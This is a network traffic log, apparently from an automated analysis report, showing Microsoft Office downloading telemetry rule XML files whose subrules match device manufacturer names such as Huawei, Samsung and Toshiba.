Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.17	49756	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 112e5c97-201e-003c-0699-a330f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bgvc9thC1EWR7dt000000015100000000025hq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.17	49757	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 41af96b3-d01e-008e-4c99-a3387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bgvc9thC1EWR7dt0000000150g000000003rx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.17	49759	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: ce599196-201e-0033-5f99-a3b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449b4tm5chC1EWRr598000000151g000000000wmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.17	49760	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 88e4fc3c-801e-0015-6699-a3f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bj2v8mhC1EWR5asn0000000fb000000000dbk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.17	49758	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: b1a2e2a6-001e-00a2-4e99-a3d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449b89qrjhC1EWR2298000000150g00000000347n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.17	49762	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e0f73982-601e-0050-2d99-a32c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bqvwqkhC1EWR1rfs000000150g000000002vy3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.17	49761	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:16 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: acf8d575-c01e-0049-7199-a3ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bzd7mthC1EWRrdxw00000014y00000000090d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.17	49763	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ce5b7109-b01e-0053-0199-a3cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449bh49mhhC1EWRu74000000014zg000000005vss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.17	49765	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 29a78b8b-e01e-00aa-6999-a3ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449b6sxz8hC1EWRrtxw00000014wg00000000e7d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.17	49764	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:16 UTC	199	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 74a7548e-001e-000b-5f99-a315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063916Z-17cccd5449b89qrjhC1EWR229800000014yg000000008spz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.17	49767	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 3b50fe07-b01e-0021-0899-a3cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bvftlphC1EWRsrrs00000014wg00000000dn9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.17	49766	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:17 UTC	199	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:17 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:17 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 557efcb8-801e-002a-7b99-a331dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063917Z-17cccd5449bqvwqkhC1EWR1rfs00000014v000000000g2nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:17 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 